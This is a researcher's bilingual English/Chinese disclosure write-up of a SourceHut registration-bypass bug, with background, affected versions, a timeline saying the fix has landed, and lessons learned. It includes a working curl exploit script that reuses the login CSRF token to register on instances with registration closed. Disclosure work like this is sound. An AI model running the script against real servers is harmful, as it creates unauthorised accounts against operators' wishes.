SourceHut disabled registration bypass | CVE-2026-121728

(plaintext version for nerds - patches welcome) So, last time I wrote about account takeover using XSS on the CI platform of SourceHut. This time I found something not nearly as ‘impactful’, but still interesting. Sorry for taking this long, but my SSD literally died and while waiting for a warranty repair I had to buy a used one (have you seen the prices yet??). It finally arrived so here I am. So, if you want me to work faster, just drop me some money.

(纯文本版本,供极客参考——欢迎提交补丁)上次我写了关于利用 SourceHut CI 平台上的 XSS 进行账户接管的内容。这次我发现了一个虽然没那么“震撼”,但依然有趣的问题。抱歉耽搁了这么久,我的固态硬盘真的坏了,在等待保修期间,我不得不买了一个二手的(你看到现在的价格了吗??)。它终于到了,所以我现在写下了这些。所以,如果你想让我工作得更快,就给我赞助点钱吧。

No NLP# Again, as you might know, I am not very excited about the current wave of natural language processing. No NLP has been used in this research. The mistakes are all mine.

无自然语言处理# 如你所知,我对当前这波自然语言处理浪潮并不感冒。这项研究中没有使用任何自然语言处理技术。所有的错误都是我自己的。

The background# SourceHut has been undergoing quite an architectural change. Its frontend was first built using Flask and Jinja templates and SQLAlchemy. But, for performance reasons, and for other reasons (decoupling of business logic, graphql) the API has been ported over to Go.

背景# SourceHut 正在经历相当大的架构变革。其前端最初是使用 Flask、Jinja 模板和 SQLAlchemy 构建的。但出于性能以及其他原因(业务逻辑解耦、GraphQL),API 已经被迁移到了 Go 语言。

The problem# Back in 2021, while moving registration code from the frontend to the graphql backend, a subtle logic bug got introduced. While the frontend never shows a registration form, and states prominently ‘registration is currently closed’, the form handler is still there. It correctly states that registration is closed on every error path, but on the happy path it does not seem to ever check it. So if you happen to remember how to submit the form…

问题# 回到 2021 年,在将注册代码从前端迁移到 GraphQL 后端时,引入了一个微妙的逻辑漏洞。虽然前端从不显示注册表单,并显著标明“注册当前已关闭”,但表单处理程序依然存在。它在每个错误路径上都能正确提示注册已关闭,但在成功路径上似乎从未进行检查。所以,如果你恰好记得如何提交该表单……

The exploitation# You just need to POST /register/step2 with your desired username, email and password. If the server in question disables registration, but has its SMTP configured properly (you still need to do email confirmation), boom, you are in. There is only one caveat, the csrf token — protection against Cross-Site Request Forgery, like a www.attacker.com containing

(or 307ing there), because yes you can post forms to other sites, and yes the request will carry valid cookies. What other sites cannot know are the values of input fields in the form presented to you specifically, so the typical protection is . There is no registration form displayed, so there is no token. However, fortunately for us attackers, the token from /login works just fine.

利用方式# 你只需要向 /register/step2 发送一个 POST 请求,包含你想要的用户名、邮箱和密码即可。如果目标服务器禁用了注册,但其 SMTP 配置正确(你仍然需要进行邮箱确认),砰,你就进去了。这里只有一个注意事项,即 CSRF 令牌——这是针对跨站请求伪造的保护措施,例如 www.attacker.com 包含一个 (或重定向到那里),因为确实可以将表单提交到其他站点,并且请求会携带有效的 Cookie。其他站点无法获知专门呈现给你的表单中输入字段的值,因此典型的保护方式是 。由于没有显示注册表单,所以也就没有令牌。然而,幸运的是,对于我们攻击者来说,来自 /login 的令牌完全可以使用。

The exploit# #!/bin/sh #META=https://meta.copyleft.market META=http://127.0.0.1:5000 USERNAME=azurediamond EMAIL=test@example.com PASSWORD=hunter2 csrf=$(curl -c cookie.txt $META/login |grep -A1 csrf |cut -d’ -f2 |tail -1) curl -v -b cookie.txt $META/register/step2 \ -d _csrf_token=“$csrf” \ -d username=“$USERNAME” \ -d email=“$EMAIL” \ -d password=“$PASSWORD”

漏洞利用脚本# #!/bin/sh #META=https://meta.copyleft.market META=http://127.0.0.1:5000 USERNAME=azurediamond EMAIL=test@example.com PASSWORD=hunter2 csrf=$(curl -c cookie.txt $META/login |grep -A1 csrf |cut -d’ -f2 |tail -1) curl -v -b cookie.txt $META/register/step2 \ -d _csrf_token=“$csrf” \ -d username=“$USERNAME” \ -d email=“$EMAIL” \ -d password=“$PASSWORD”

Some metadata, I guess?# Affected versions: 0.56.11 through 0.88.9 Affected instances: at least 10 (GET WRITTEN PERMISSION BEFORE TESTING) CVSS 4.0 (subjective): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/AU:N/R:U/V:D/RE:M/U:Green Indicators of compromise: unknown user accounts (go to /users on meta)

一些元数据,我想?# 受影响版本:0.56.11 至 0.88.9 受影响实例:至少 10 个(测试前请获取书面许可)CVSS 4.0(主观):CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/AU:N/R:U/V:D/RE:M/U:Green 妥协指标:未知用户账户(在 meta 上访问 /users 查看)

Timeline# 2021-09-24 - vulnerability introduced 2026-08-13 - I write ‘registration [on meta.copyleft.market] is disabled, so good luck getting anywhere’ 2026-09-24 - my SSD dies quite literally as I publish the writeup on the account takeover vulnerability 2026-10-?? - I keep thinking about what I wrote back on 2026-08-13 2026-11-02 - disclosure to SourceHut’s security mailing list 2026-11-03 - ack, fix lands, downstream notified, this post published, CVE id requested from VulnCheck 2026-11-03 - VulnCheck assigns CVE-2026-121728 some day, profit?

时间线# 2021-09-24 - 漏洞引入 2026-08-13 - 我写道“注册 [在 meta.copyleft.market 上] 已禁用,所以祝你好运” 2026-09-24 - 在我发布关于账户接管漏洞的文章时,我的固态硬盘真的坏了 2026-10-?? - 我一直在思考 2026-08-13 那天写的内容 2026-11-02 - 向 SourceHut 安全邮件列表披露 2026-11-03 - 确认,修复落地,通知下游,发布此文章,向 VulnCheck 请求 CVE ID 2026-11-03 - VulnCheck 分配了 CVE-2026-121728 总有一天会获利吧?

Summary# Lessons learned: Refactors can swallow security checks. Double check correctness on auth flows. CSRF protection would prevent this if the token was scope-limited to the specific endpoint each form points to. VulnCheck is nice but their contact channels can still get more responsive. Does anyone know a bug bounty program where the researcher pays an upfront participation fee? I will set mine up this way for sure, and you should consider it too, if you are drowning in submissions. As I said the last time, I am not done. Stay tuned (follow me on all socials to be sure, and RSS of course) and call hire me maybe.

总结# 教训:重构可能会掩盖安全检查。务必仔细检查身份验证流程的正确性。如果令牌被限制在每个表单指向的特定端点,CSRF 保护本可以防止这种情况。VulnCheck 很不错,但他们的联系渠道还可以更及时响应。有人知道研究人员需要预付参与费的漏洞赏金计划吗?我肯定会这样设置我的计划,如果你被提交的漏洞淹没了,你也应该考虑一下。正如我上次所说,我还没结束。敬请关注(确保在所有社交媒体上关注我,当然还有 RSS),也许可以雇佣我。